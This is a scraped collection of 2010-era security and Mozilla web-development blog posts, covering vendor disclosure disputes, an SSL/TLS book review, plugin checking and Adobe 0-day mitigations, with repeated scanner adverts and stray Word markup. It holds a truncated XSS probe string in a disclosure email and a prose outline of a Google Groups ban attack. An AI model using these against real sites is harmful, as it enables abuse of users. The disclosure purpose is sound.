Microsoft’s own information on the issue seems to indicate that there is a related, but separate, issue with Microsoft Office components, related to Web based activities. (By the way, when accessing that site, the information about how to protect against the exploit is hidden under the “Workarounds” link, rather than being explicit on the page.)
Some of the potential effects are discussed by Randy Abrams at [blog.eset.com]
-
Is your site safe from SQL Injection? Website Security Audit is the way to protect your network!
This is depressing, but probably true. Ethan Zuckerman, at the current TED, notes that the Internet makes us think we being exposed to, and learning from, differing world views, but that, particularly in relation to social networking, we are usually simply seeking out similar views to our own, and reinforcing our existing viewpoints.
You can read a report from the BBC or see the actual talk at TED.
(I like the “imaginary cosmopolitanism” phrase. It reminds me of being in NYC.)
(If you can’t see the security implication in broadening your outlook, there is no hope for you.)
-
Is your site safe from SQL Injection attacks? Use an SQL Injection Scanner on a daily basis to protect your network!
Did you wonder what this is used for? The following FAQ may give a hint:
Hi! I want to bypass captcha from my bots. Bots have different IPs. Is it possible to use your service from many IPs?
We have no restrictions about IP: with DeCaptcher you can bypass CAPTCHA from as many IPs as you need.
In other words: Just used a Virus to break into thousands of botnet computers and now you are not sure what to do? These guys will help you take the next step and set up myspace/facebook/gmail/twitter accounts while bypassing the CAPTCHA and you can then use that to spam the world. Thank you DeCaptcher for giving the Internet such a valuable service.
-
Make your website safer. Use an external vulnerability scanner. Nothing to install, zero maintenance!
BKSSLTTP.RVW 20091129
“SSL and TLS: Theory and Practice”, Rolf Oppliger, 2009, 978-1-59693-447-4
%A Rolf Oppliger rolf.oppliger@esecurity.ch
%C 685 Canton St., Norwood, MA 02062
%D 2009
%G 978-1-59693-447-4 1-59693-447-6
%I Artech House/Horizon
%O 617-769-9750 800-225-9977 artech@artech-house.com
%O [books.esecurity.ch]
%O [www.amazon.com]
[www.amazon.co.uk]
%O [www.amazon.ca]
%O Audience i+ Tech 3 Writing 2 (see revfaq.htm for explanation)
%P 257 p.
%T “SSL and TLS: Theory and Practice”
The preface states that the book is intended to update the existing literature on SSL (Secure Sockets Layer) and TLS (Transport Layer Security), and to provide a design level understanding of the protocols. (Oppliger does not address issues of implementation or specific products.) The work assumes a basic understanding of TCP/IP, the Internet standards process, and cryptography, altough some fundamental cryptographic principles are given.
Chapter one is a basic introduction to security and some related concepts. The author uses the definition of security architecture from RFC 2828 to provide a useful starting point and analogy. The five security services listed in ISO 7498-2 and X.800 (authentication, access control, confidentiality, integrity, and nonrepudiation) are clearly defined, and the resultant specific and pervasive security mechanisms are mentioned. In chapter two, Oppliger gives a brief overview of a number of cryptologic terms and concepts, but some (such as steganography) may not be relevant to examination of the SSL and TLS protocols. (There is also a slight conflict: in chapter one, a secure system is defined as one that is proof against a specific and defined threat, whereas, in chapter two, this is seen as conditional security.) The author’s commentary is, as in all his works, clear and insightful, but the cryptographic theory provided does go well beyond what is required for this topic.
Chapter three, although entitled “Transport Layer Security,” is basically a history of both SSL and TLS. SSL is examined in terms of the protocols, structures, and messages, in chapter four. There is also a quick analysis of the structural strength of the specification.
Since TLS is derived from SSL, the material in chapter five concentrates on the differences between SSL 3.0 and TLS 1.0, and then looks at algorithmic options for TLS 1.1 and 1.2. DTLS (Datagram Transport Layer Security), for UDP (User Datagram Protocol), is described briefly in chapter six, and seems to simply add sequence numbers to UDP, with some additional provision for security cookie exchanges. Chapter seven notes the use of SSL for VPN (virtual private network) tunneling. Chapter eight reviews some aspects of
public key certificates, but provides little background for full implementation of PKI (Public Key Infrastructure). As a finishing touch, chapter nine notes the sidejacking attacks, concerns about man-in-the-middle (MITM) attacks (quite germane, at the moment), and notes that we should move from certificate based PKI to a trust and privilege management infrastructure (PMI).
In relatively few pages, Oppliger has provided background, introduction, and technical details of the SSL and TLS variants you are likely to encounter. The material is clear, well structured, and easily accessible. He has definitely enhanced the literature, not only of TLS, but also of security in general.
copyright Robert M. Slade, 2009 BKSSLTTP.RVW 20091129
-
Make your website safe from SQL Injection attacks. Signup for a daily penetration testing to protect your network!
Xyberpix described how difficult it is to disclose vulnerabilities to ZDI and iDefense. But even after you sold it, the process is just beginning. Sure, the researcher gets paid and he is free to resume his work, but the work us, the vulnerability coordinator, just begins.
We recently received 2 disclosures to our SecuriTeam Secure Disclosure program for Sonicwall and google vulnerabilities. We received sponsors for both vulnerabilities which means there is a commercial organization out there that was willing to pay the researcher for their efforts. That part ended well for the researchers.
Now both organizations want the vendors to patch up. Sounds easy, right? We are giving Sonicwall and google free information about security holes in their products, and want nothing in return except for them to fix it.
Well, it’s damn difficult.
Google is always difficult when it comes to security. When I reported an information disclosure vulnerability in google calendar they ignored me, then sent their PR person to say “it’s a feature”, then silently fixed it claiming it was never there. Dealing with google on security issues is like talking to a girl that speaks a foreign language. But more on that later - lets start with Sonicwall.
Wouldn’t you be expect security vendors to be more aware of security problems in their products? Well, for the last few weeks we’ve tried to bang every door, calling in personal favors to tell Sonicwall (for free, let me remind you) about a security hole in their product.
Why bang every door? Because they won’t talk to us since “we’re not Sonicwall customers”. We can’t open a support ticket and they won’t give “us” support. security@sonicwall? yeah, right. Even good friends couldn’t help. The system will not accept a report from non-customers.
I guess our only course of action is to pay Sonicwall money to let them know about their vulnerabilities. I wonder if that’s Sonicwall’s long term strategy for profit? BTW, if you work for Sonicwall and can help, please contact me - but keep in mind paying Sonicwall for telling them about their own security issues is not a part of our plan.
Back to google. The story there is simple and boring. It’s not a bug, it’s a feature. In fact, every browser has this problem, errm I mean feature. In fact, it’s been proven you can execute javascript on the chrome user’s browser so we’ll leave this open as well. If the stupid web app developers can’t solve this we certainly aren’t going to help them.
But why am I boring you with the broad strokes, go read the discussion:
[code.google.com]. Nothing we haven’t seen with previous google security bug handling, just ask this guy.
Yes, it is 2010, and we are still talking about Vulnerability Disclosure to vendors. I guess next we’ll be arguing if heap overflows are exploitable.
Update: We were contacted by Sonicwall and the bug will be looked at. Hopefully security@sonicwall will start accepting submissions from non-customers.
-
Expose the security holes in your products during development. Black Box Testing makes it safer!
There is no possible way this could potentially go wrong, right?
Doesn’t the phrase “Identity Ecosystem” make you feel all warm and “green”?
It’s a public/private partnership, right? So there is no possibility of some large corporation taking over the process and imposing *their* management ideas on it? Like, say, trying to re-introduce the TCPI?
And there couldn’t possibly be any problem that an identity management system is being run out of the US, which has no privacy legislation?
The fact that any PKI has to be complete, and locked down, couldn’t affect the outcome, could it?
There isn’t any possible need for anyone (who wasn’t a vile criminal) to be anonymous, is there?
-
Expose the security holes in your products during development. Black Box Testing makes it safer!
This week, Firefox 3.6.4 was released with out-of-process plugin support. This means that when plugins crash, it doesn’t take the browser with them.
But please remember: it’s still important to keep your plugins up-to-date. Out-of-date plugins can be a security risk.
In a previous blog, I talked about the blocklist service in Firefox and its role in keeping users informed and up-to-date with regards to plugins. It looks something like this:
As a follow-up to that post, I walked through the update process for Firefox. Here were my testing steps:
Adobe and Mozilla both need to make this process easier for users. In summary, this is how it went:
Safe to say that there are many ways we can improve this process:
Protecting users from plugin crashes is a great thing, and I’m looking forward to seeing the plugin update experience becoming just as awesome.
On Thursday June 10 Socorro (including [crash-stats.mozilla.com]) will be down for maintenance from roughly 10am – 2pm Pacific time.
We will be releasing 1.7 which involves switching over crash report storage from NFS to HBase, the Hadoop database.
Please let us know if you have any questions or problems.
Firefox has a blocklist service that protects users from malicious or faulty plugins and extensions. We’ve used this sparingly in the past but due to the success and popularity of Firefox we’ve seen more and more activity on the blocklist than ever before.
The most difficult part of the blocklist service has been deciding when to actually use it. Our policy outlines some general guidelines, but it’s not so simple when millions of users are involved because you also have to consider how you could potentially affect user experience. We have to weigh security and stability with user happiness.
In the past, being proactive with the service has been tough. Take, for example, the time we blocklisted a plugin and add-on as requested by Microsoft. Another example would be the blocking of a relatively hidden Java plugin or ancient versions of QuickTime.
In most cases we prevented an expected user interaction from being used. Whether it’s Flash on YouTube, QuickTime for movie previews or Java for applets — when users can’t do what they want to do, it’s a really negative experience. We don’t want to prevent users from doing what they want to do on the web. On the other hand, we don’t want users to be vulnerable to exploits caused by outdated plugins.
So while we were upset to know that what we did ruined the browsing experience for some people, we also knew that what we were trying to do was right and helped considerably more people than it hurt. I am proud of this — at least the idea that we are willing to do something unpopular because it’s the right thing to do. I do believe, however, that we can manage to keep users safe and happy simultaneously.
Keep people safe and happy? What a wonderful challenge.
Working on the blocklist, we’ve learned:
The threat plugins pose to users will not go away, and we will continue to fight to keep users safe. We can fight smarter, though. The blocklist service will always be here, and we’ll use it when we need to. But increasing awareness about plugins and how to keep them up to date is a much more positive and proactive approach.
A few projects cover this initiative:
With these projects, I am confident we will offer a better experience for users; keeping the web happy and safe at the same time.
Get InvolvedIf you’d like to know more and get involved we’d love to hear from you:
Achtung, Mozilla developers, a new library is heading your way!
While Mozilla’s web tools have been Open Source since the beginning, it’s become somewhat of a recent tradition for us Mozilla web devs to release web application components as reusable libraries (mostly in Python, and for the Django web framework).
Today I am introducing django-mozilla-product-details — quite a mouthful, but the name says it all: It’s a library providing up-to-date Mozilla product information to be consumed by Django projects. The data can be periodically pulled from the Mozilla SVN server using a Django management command.
From the documentation:
Mozilla Product Details is a library containing information about the latest versions, localizations, etc. of Mozilla products (most notably Firefox, Firefox for mobile, and Thunderbird).
(…)The data source of Mozilla Product Details is a PHP library kept on the Mozilla SVN server, and was originally written so it could be included into PHP projects via an SVN external. A simple
svn upwould fetch the latest data when it became available.In the meantime, the Product Details library received an additional JSON feed, allowing non-PHP projects to consume the data. If, however, the consumer is not kept in SVN like the library is, there is no easy way to keep the data up to date.
For Django projects, this app solves that problem.
To learn how to import and use the library, please read the detailed README file.
If you are looking into using the library in your project, or if you have any questions or concerns, please contact us or open an issue on github.
By the way: The geeks among you will be interested to know that we made an effort to go as easy as possible on the client as well as server bandwidth, even when the update task is frequently run. Over on my personal blog fredericiana, I wrote a blog post outlining the algorithm behind the library, and the rationale behind it.
Since this is Mozilla, it’s easy for us to focus on the client-side half of web development: we are a browser company, after all. But most of us on the web dev team spend most of our time working on the server-side, using tools like Python, PHP, Django, Kohana, Hadoop, MySQL, Memcache, Redis, RabbitMQ, and more.
Are there server-side topics or tools you’d like to know more about? Or learn about how we use various tools, or handle scaling our sites from the server side?
Let us know in the comments, and we’ll try to write about the things we do that are interesting to you.
Hi,
In light of the KHOBE story, it seems a “darker” truth has been uncovered. Apparently the researchers have published their advisory in order to sell their research material to anyone who wants to know more than their limited technical details.
Why is this important? Well, it shows that when publishing their research, their intent was to:
1) Scare
then
2) Sell their software
While there might be legit reasons to check out their research, these new facts do bring the “KHOBE” paper into question, especially whether it is more noise than signal.
More details on the story can be seen here: KHOBE - no problem.
BTW, a bit of exaggeration by our colleague Aviram got him this week’s medal for PR scandal assistant.
-
Is your site safe from SQL Injection? Website Security Audit is the way to protect your network!
As noted on our security blog, we’ve just pushed out a major update to the plugin check page and service.
The two core ideas are:
Les Orchard has created a backend to the plugin finder service. We’ve added another input to the call named ‘detection’ which will allow us more flexibility in how we match known releases to OS / Product / Version / Plugin / Plugin Version combos. More news at 11, but he’s built the core pieces for a self-service plugin release application.
The FrontendWe updated the JavaScript client to support ‘modern browsers’ as well as IE.
But IE 8 is a modern browser!
Hmm, well it doesn’t have a navigator.plugins object. Other popular and recently released desktop browsers *do* have this feature. Heck, even some phone’s browsers have it.
Breaking News: The platform preview of IE 9 has a working navigator.plugins object! So IE 9 fits the modern browser category… Congrats to the IE 9 team! We’ll make sure the page works by the time IE 9 ships, filed Bug#566003.
Our plugin detection uses one of three strategies:
If your goal is to protect as many users from as many known plugin vulnerabilities as possible… Strategy 3 doesn’t scale. Strategies 1 and 2 are dynamic and (in the best case) plugin agnostic. As new plugins come onto the market, the plugin finder service has to be updated, but no new code has to be written and shipped.
This is why IE plugin detection is limited.
Strategy 2 is the cleanest… and only supported by Firefox 3.6+. We would be pleased as punch if other browser vendors would create a version property. The Plugin Check page and other pieces of code that do plugin detection, will become more accurate.
We’re really excited about supporting all browsers and that is what Strategy 1 buys us. When a vendor has put a useful version number in the description or name, then it’s possible for our page to help Safari, Opera, or Chrome users understand their plugin versions better.
Geeky Aside:Fly in the ointment, even for Firefox 3.6+ we currently will use methods #1 and #2 depending on what’s best for detecting the most accurate version for the most popular plugins. Why is nothing every simple?
What can browser vendors do?
Please implement the navigator.plugins[x].version property. This exposes an explicit plugin version number from the vendor.
It will keep your users safer. This and other security tools can detect vulnerable versions easier and more accurately.
What can plugin vendors do?At a minimum, please put your full version number in the plugin description field. Also make this as exact as possible, include the build number etc. 1.1.2.9282 is better than 1.1.2. Bonus points, expose your version numbers in the version property, even on Linux builds of your plugin.
Why?We’ve built the plumbing and populated it with some popular plugins versions. Our next major release will be focused on building a self-service plugin release management app, so that vendors can populate the data for the backend API.
In the last 20 years, practically all the large software vendors came out with Single-Sign-On (previously “PKI”) products that were supposed to give a single login that would give you access to all the resources on the network. As good as this idea sounds, in practice that almost never works. Why Single Sign On constantly fails in corporate environments is a mystery wrapped in an Enigma. But it just doesn’t.
On the web, it seems even more logical that a single login will give you access to all the resources, and yet the situation is even worse. Microsoft, google, yahoo, AOL, and now facebook have all tried their Single Sign On initiatives that ended up having users signing up to 4-5 different ’single sign on’ services and typically just opting for the only single sign on method that works: Using the same username and password everywhere.
Before you ask, OpenID is not a single sign on solution – it’s an identification service. So with that out of the way, are we doomed to never have a workable option to web single sign on?
Well, it seems the solution was always there: in fact, most of us have been using it for a while. Your browser.
Done well, the browser can keep the username/password combination in a secure place, protected by a single password and encrypted on your hard drive. The only risk is a Trojan using your browser to log into web sites without your knowledge – but that’s a risk you have today with keylogger rootkits, so you are not worse off letting your browser save the password for you.
The only two challenges facing the browsers to truly provide an SSO experience were web sites like paypal that refused to let the browser save username/password information (though you could bypass that restriction with bookmarklets such as “Password Saver” on firefox) and the second challenge was just the convenience of needing to login instead of having the browser login for you, as you’d expect in a “real” SSO.
It seems that firefox has picked up the glove. In a recent blog post ([hacks.mozilla.org]) firefox announced an add on that will handle account management; likely not much different than what is done today, perhaps a bit more extended and automated. Facebook, google and some others won’t be happy about this move, but who cares. The best thing about this method of SSO is that you don’t need the site’s cooperation for it to work. In fact, as long as they don’t actively resist (e.g. by adding CAPTCHA’s) firefox can be the de-facto standard for account management in the not-too-far future.
-
Make your website safer. Use an external vulnerability scanner. Nothing to install, zero maintenance!
Interesting story about collecting data from Facebook. I wonder if he would have had the same trouble if he had written the utility as a Facebook app, since apps are able to access all data from any user that runs them. Maybe he could talk to the Farmville people, and collect everthing on pretty much every Facebook user.
All kinds of intriguing questions arise:
Has Facebook threatened to sue Google? If they did, who has the bigger legal budget?
With all the embarrassing leaks, why doesn’t Facebook simply do some decent security, and set proper permissions? (Oh, sorry. I guess that’s a pretty stupid question.)
Does the legal concept of “community standards” apply to assumed technical standards such as robots.txt? If nobody tests it in court, does any large corporation with a large legal budget get to rewrite the RFCs?
If you don’t get noticed, is it OK? Does this mean that the blackhats, who try hard to stay undetected, are legally OK, and it’s only people who are working for the common good who are in trouble?
-
Make your website safe from SQL Injection attacks. Signup for a daily penetration testing to protect your network!
I am not a huge fan of Wikipedia, in terms of tech accuracy, as I’ve noted before. For a quick idea of a new term it’s great: beyond that, watch out.
However, Charles Muller has pointed out something I hadn’t considered: that, given it’s popularity, Wikipedia is a prime vector for losing control of your intellectual property. As one who has had masses of work ripped off by others, I have to be sympathetic to his argument. He’s got a couple more good points in this quick little piece.
-
Is your site safe from SQL Injection attacks? Use an SQL Injection Scanner on a daily basis to protect your network!
I’m working on an article about the risks in social networking right now, and I’ve come across yet another blog posting about how to use LinkedIn (and Facebook, and Twitter, etc.) to look for job candidates.
I’ve never quite been able to figure out the attraction of using LinkeDin as a source of employment candidates. The one thing you know about active socnet users is that they are active socnet users. If you are at all concerned about your employees wasting time at work, you know right off the top that this is a person who will do that.
Of course, if your company is trying to “get into” the socnet world, you might think this is a good thing. But it’s quite a leap of faith to think they would do it for you, rather than themselves.
(For us in infosec, there would be the added concern that this person is either telling way too much about themselves, or “tailoring” the facts. So you either have a failure of confidentiality, or integrity.)
-
Expose the security holes in your products during development. Black Box Testing makes it safer!
I don’t often make the time to write up some of the more interesting aspects of work we do for clients, but I was forced to make some time to do so last week (well perhaps encouraged is a more polite way to put it) . The effort culminated in a webcast with MSDN and covers some work we did integrating Microsoft SDL, Architectural Risk Analysis (ARA) and Service Architecture and Engineering (SAE). The SAE methodology is a SOA methodology from Everware-CBDI. The work of integrating these three techniques is an extension of our SDL case study.
You can reply the webcast and get copies of the slides here.
The jist of the presentation is that SOA Security often gets equated to WS-Security (or perhaps devolves into WS-Security). The problem with WS-Security is that it’s often applied at the wrong level, so there needs to be a better architectural approach to addressing security within an SOA. By combining SDL, ARA and SAE, we’ve found that it’s possible to look at a layered approach to security based on trust zones and SOA governance tooling.
I’ve been continuing to work on documenting the details of the SDL, ARA and SAE integration with John Butler from Everware-CBDI. We’ll be doing something more formal when we have something that can be published.
We’ve seen a huge spike in traffic to getpersonas.com due to our prompted update for Firefox 3.0 and 3.5 users to upgrade to 3.6. Some users may have seen a degradation in site speed and reliability during the past 12 hours.
Our amazing IT team has been hard at work keeping the site up and has fixed most of the performance issues. We also turned off search functionality temporarily to alleviate load. We’ll turn it back on as soon as we can, thanks for your patience!
Lets start with the proper disclosure; we provide a Web Site Security Seal service which competes with ControlScan’s. That said, I’m not about to bash ControlScan but rather the poor practices of security seal companies giving out seals to whoever pays them without the proper security checks.
Some background: The FTC sued ControlScan for $750,000 for giving out security seals while not really checking the security of the web sites. This lawsuit and its verdict are good news: It means that services that give out seals need to be responsible for their actions; no more “scanless PCI” badges: if you give out a seal (and I’m looking at all you large domain resellers) that needs to stand for something - when customers see a seal that says “secure site” they need to know the site is secure.
Before you take out the pitchforks, sure - there is no way to verify with 100% certainty that the web site is “secure”. But vulnerability scanning is at a stage today where you can run automated scans and make sure the web site is “secure enough” - meaning it does not have any known vulnerabilities, doesn’t suffer from SQL injections or cross site scripting. If there is a zero day vulnerability in apache, I doubt it will be used against an e-commerce site - it is more likely to be used against a bank or the government. Fact is, over 90% of successful attacks use known vulnerabilities that would have been detected by any competent scanner. If the site is properly scanned and no vulnerabilities are found, this is probably as good as it’s ever going to get; and is definitely better than the chances of your credit card being stolen at a brick-and-mortar store.
What will happen with ControlScan is not really important. What’s important is that security seal providers will now have to stand behind their claims - the fact that the FCC went after a case like this, which is normally way below their threshold, probably means that someone is applying pressure on them; hopefully that will help clean up the act of some online scanning vendors.
Note: Complaint, Exhibits and final judgment here.
-
Make your website safe from SQL Injection attacks. Signup for a daily penetration testing to protect your network!
We’ve released another Python library: Bleach, for sanitizing HTML and automatically linking URLs in text, that we’re using on addons.mozilla.org and support.mozilla.com. It’s based on html5lib, which we chose because of its foundation in web standards and its active development community. Bleach is available on Github and PyPI.
Bleach uses a tree-walking approach to automatically link URLs that I think is pretty interesting. I wrote a short post outlining the method.
The buzz was on about google buzz sharing your list of contacts (which they then quickly fixed in their casual we-did-nothing-wrong-these-are-not-the-droids-you’re-looking-for mind trick).
Readers of this blog remember when google calendar let you see the full name behind every gmail address. At that time, google ignored, then decided there’s nothing wrong with that feature, then fixed it. Only it still works, on other google services. Of course, these aren’t the droids I’m looking for.
Well, here’s a method to DoS a google group user; it was discovered by Shachar Shemesh of lingnu about 18 months ago, who told google and was answered with a strong silence. With google the only disclosure seems to be full-disclosure, so with apologies to you google-group users out there, here is the outline of the attack below.
DoS’ing google groups
Domain-Key is a good method to prevent spam from coming in, as well as preventing unwanted emails from being handled if they are sent through “the wrong” SMTP server.
Google has taken domain-key a step further, with their Domain-Key and Google Groups combo. In this combination, if an email is sent to a Google Groups from an SMTP server who is not listed in the Domain-key record, that email will be banned from writing or accessing the Google Group in question.
The banned user will no longer be able to write or read from that group, will not be able to “undo” this change as emails to Google’s technical support regarding this appear to go unanswered.
From this background, the attack seems clear. A malicious attacker can get pretty much anyone banned from a certain Google Group.
Steps to reproduce:
As a result:
The victim will be automatically banned from the group.
He or She will receive no notification of that fact: not to the fact he or she was banned, and not even to the fact that the email he or she supposedly sent failed Domain key verification.
The victim will cease to receive emails from the group. They will only find out about it if they try to send an email, at which point they will receive a brief and unhelpful message saying they were banned, with no explanation why and no means to appeal.
Trying to access the group from the web site will result in a “you are banned” message, again, with no helpful information on why the ban was instated nor how to appeal. It is a curious point that even information that is publicly available without registration, such as the group’s archive or description, will be blocked. They will have to sign out of Google to be able to see it(!).
The best means to appeal she is likely to find is “Google Help”, which points to an email address where past experience shows the request email will be unceremoniously ignored, just like Shachar’s email notifying google of this vulnerability.
-
Expose the security holes in your products during development. Black Box Testing makes it safer!
Yesterday, the Mozilla webdev team released a few reusable libraries that are helping us scale out the new Django-based version of addons.mozilla.org.
I know, there ain’t no such thing!
Well, we could have a lively debate on that topic, but not right now.
On this occasion, I’m just letting anyone who wonders what happened to the Mac Virus web site (http://www.macvirus.com), which I inherited from Susan Lesch some years ago, what’s happening with it. We have nothing to do with the cobwebby sites at http://www.macvirus.net and http://www.macvirus.org, or with http://macvirus.wordpress.com, whatever that is.
The http://www.macvirus.com URL actually redirects to my own Mac page at Small Blue-Green World site, which now re-redirects to a Wordpress page. If you want to go straight to the Mac Virus blog, you can go direct here. It’s still malware-oriented, of course, and, is likely to become more rather than less active in that area.
In fact, most of my Small Blue-Green World content now resides on blog pages. ESET content is still blogged at http://www.eset.com/threat-center/blog/, of course, and AVIEN content is blogged at http://avien.net/blog/.
Confused? Me too…
We now return you to your normal programming. Scheduling, that is, not coding. Unless that’s what you’re doing at the moment. Oh, never mind.
The next time I blog here, it will be about a proper security issue again. I hope.
David Harley FBCS CITP CISSP
Security Author/Consultant at Small Blue-Green World
Chief Operations Officer, AVIEN
ESET Research Fellow & Director of Malware Intelligence
Also blogging at:
http://avien.net/blog
http://www.eset.com/threat-center/blog
http://smallbluegreenblog.wordpress.com/
http://macviruscom.wordpress.com
http://blog.isc2.org/
http://dharley.wordpress.com
-
Let the experts make sure your website is safe. Vulnerability Assessment is the answer.
So you’ve built your web application, and people are putting data in it, but how do they get that data back out? Often, they find data by searching. MySQL provides a searchable full-text index, but it has several limitations:
Fortunately, a search system, like Sphinx, allows you to overcome these limitations and provide powerful, flexible, and fast search solutions.
Sphinx, in particular, is easy to set up and use. It powers searches on both Addons and Support. We honestly didn’t shop around, because we found Sphinx did what we needed very well.
Because Sphinx is external to MySQL, it doesn’t care about things like what table engine you use, so you can perform fast, full-text searches on InnoDB tables. It also takes the load of searching off the database, leaving it free to retrieve all the documents your users can find. And because Sphinx finds its data via SQL queries, indexes can collate data in several tables.
How fast does Sphinx index data? For both Addons and Support, indexing is under two minutes, which includes on the order of 10^4 documents on Addons, and on the order of 10^5 on Support. This speed means we could easily double or triple the quantity of data before we’d need to rethink our search strategy.
Sphinx typically collects data by running SQL queries, so if you can write a query to get your data–possibly joining data from several tables, or small, extra queries for many-to-many relationships like tags–you’re done. If your data isn’t in a SQL database, you can feed it data in XML. If you have lots of data, or lots of old data that doesn’t change, you can break this into smaller indexes, or just look at what’s changed, and merge the data together.
The index includes all the text you select and several attributes you can define, which you can use to filter results, or to retrieve the document from the database.
Running searches from your application is very flexible. PHP, Python, Ruby, and others have ports of the search API. You can also search via a SQL interface. There’s even a command line search binary for testing. The API can do some pretty advanced things, like sorting, filtering, settings offsets and result limits, or even building excerpts for your results.
Search is an important part of data-driven web applications, and Sphinx is a powerful ally in providing search capabilities. If you’ve been relying on FULLTEXT indexes, I encourage you to try a search system like Sphinx. And if you need help, come find us in #webdev on irc.mozilla.org.
Early snapshot of the Plugin Directory
Most web browsers, including Firefox, offer the ability to install third-party plugins. These plugins enhance your browser by enabling it to handle new kinds of content—i.e. video, audio, even 3-D games and whole application platforms.
Unfortunately, plugins can also introduce crashes and security vulnerabilities. And even worse: Since there’s no automatic update mechanism across plugins, it’s easy to install a one and forget it’s even there. Unless you return regularly to a plugin’s download page, you may never think to update it.
With this in mind, we launched a page a few months ago to detect outdated installations of the Adobe Flash plugin, encouraging Firefox users to download an update. Soon after, we expanded the effort by launching a general Plugin Check page to cover more plugins used with Firefox.
But, since it’s our mission to make the web a better place, we want to go even further: We want to expand this Plugin Check service to cover as many browsers and plugins as possible.
As it turns out, that’s a tall order: Competing browsers offer entirely different models of collecting information on installed plugins, and plugins themselves reveal inconsistent information from one to the next. This makes a common detection scheme across browsers and plugins somewhat challenging.
Additionally, there’s no single fresh source of information about plugins to check once the installed versions have been detected. For example, while the PluginDoc site at mozdev.org has existed for years, it tends to be out of date because it’s largely maintained manually by just a few people. And, if the information was up to date, there’s no web-based service to use for automated update checks.
So, to address these issues, the Webdev team has started work on building a new Plugin Directory. We’re in the very early stages yet, but we’re hoping to make progress on goals like the following:
We can use help on all of the above as the project progresses, so stay tuned for more details. In the meantime, you can peek in on the progress so far by visiting the project wiki page, where you can find notes, demos, and source code:
If getpersonas.com seems a little bit snappier today, there’s a reason. Last night we released a new version of the website that utilizes a Content Delivery Network (CDN) that makes browsing getpersonas.com even faster.
What’s a CDN, you ask? To put it simply, a CDN moves content that normally would be served from a website in one location and stores it all around the world, making it faster for you, the user to download it. We’re using a CDN to store images, JavaScript and CSS for getpersonas.com.
Another neat trick we are using to make the site faster is far future Expires headers. What this does is tell the browser to cache our files and not re-download them every time you visit our site, saving you bandwidth and time.
This release also contains numerous bugfixes, view the full buglist if you want to know more.
Special thanks to Stephen Donner, Krupa Raj, Jeremy Orem and Matthew Zeier for their hard work in making this release possible.
Okay, so a few days ago I found a ton of XSS vulnerabilities on various high profile web sites, and on the whole, after eventually managing to contact the relevant teams for the sites, everyone was very grateful.
When will web sites owners learn that it’s a good idea to have a security contact e-mail address on their sites!
However there was one, whose name I’m not going to mention here, that came back to me with the worst possible answer ever.
This is an online retailer, and my e-mail went to their help desk, but still!
Here’s the full e-mail trail (I’ve removed certain bits of info though so that the site or the attack vector cannot be identified.) Please also note that due the nature of what this company does they are required to be PCI DSS compliant.
===============================
—–Original Message—–
From: xyberpix [mailto:xyberpix@blahblah.com]
Sent: 05 January 2010 07:53
To: help@xxx.com
Subject: Website enquiry: General - www.xxx.com
Sent Date: 2010-01-05 07:52:58 (GMT/UTC)
Hi There,
I have discovered a security vulnerability on your web site, and would like to please disclose this to yourselves responsibly. Could you please either contact me with the name of someone who I should report this to, or could you please get someone to contact me at this e-mail address please. If this could please be treated as urgent.
Thank you
xyberpix
===================================
On 5 Jan 2010, at 16:40, XXX Support User2 wrote:
Hi Xyberpix,
Thank you for your email message.
Can I please ask you to supply the screenshot of the page so that we can look into this for you?
I look forward to your reply, upon which I will do my very best to assist you.
Kind Regards,
Alex | Customer Services Representative
Note: Please do not delete the previous correspondence if you are replying to this e-mail. This will help us to assist you better. www.xxx.com
===================================
—–Original Message—–
From: xyberpix [mailto:xyberpix@blahblah.com]
Sent: 05 January 2010 16:59
To: XXX Support User2
Subject: Re: XXX
Hi Alex,
No problem at all please find attached a screenshot.
Also the string that was used in the main search bar to prove this was the following:
‘;alert yadayadayada
Kind Regards,
xyberpix
==================================
Hi,
Thank you for contacting us and sorry for the inconvenience caused here.
May I kindly request you to clear the cache and cookies from your internet browser and then try placing your order opening a new browser.
If you have any further queries please do let us know.
Kind Regards,
Edwin | Customer Services Representative
XXX!
Note: Please do not delete the previous correspondence if you are replying to this e-mail. This will help us to assist you better.
-
Make your website safe from SQL Injection attacks. Signup for a daily penetration testing to protect your network!
My wish for 2010: I want this guide to be taught in CS classes to developers everywhere:
Happy new year everybody.
-
Is your site safe from SQL Injection attacks? Use an SQL Injection Scanner on a daily basis to protect your network!
SecuriTeam Blogs contains several FAQ documents about MS Office vulnerabilities used in targeted attacks since 2006. This time I’m not writing a FAQ. This document has answers to What this means type questions.
What an organization can make to protect?
Normal.dotm 0 0 1 40 233 1 1 286 12.0 0 false 18 pt 18 pt 0 0 false false false /* Style Definitions */ table.MsoNormalTable {mso-style-name:”Table Normal”; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-parent:”"; mso-padding-alt:0cm 5.4pt 0cm 5.4pt; mso-para-margin:0cm; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:12.0pt; font-family:”Times New Roman”; mso-ascii-font-family:Cambria; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:”Times New Roman”; mso-fareast-theme-font:minor-fareast; mso-hansi-font-family:Cambria; mso-hansi-theme-font:minor-latin;}#1 Disable JavaScript. Deploy a system to deliver this setting to all workstations. This is not the last Adobe 0-day which we will see.
What this means?
Go to Edit>Preferences menu, select item ‘JavaScript’, Uncheck “Enable Acrobat JavaScript” and to save the setting click ‘OK’.
Normal.dotm 0 0 1 59 339 2 1 416 12.0 0 false 18 pt 18 pt 0 0 false false false /* Style Definitions */ table.MsoNormalTable {mso-style-name:”Table Normal”; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-parent:”"; mso-padding-alt:0cm 5.4pt 0cm 5.4pt; mso-para-margin:0cm; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:12.0pt; font-family:”Times New Roman”; mso-ascii-font-family:Cambria; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:”Times New Roman”; mso-fareast-theme-font:minor-fareast; mso-hansi-font-family:Cambria; mso-hansi-theme-font:minor-latin;}#2 Enable DEP
Some Windows systems include Data Execution Prevention (DEP) functionality.
What this means?
If your organization is using Windows versions with DEP support the code execution can be avoided.
Adobe has confirmed these mitigation advices in security advisory APSA09-07, but as mentioned DEP method doesn’t fully prevent the exploitation.
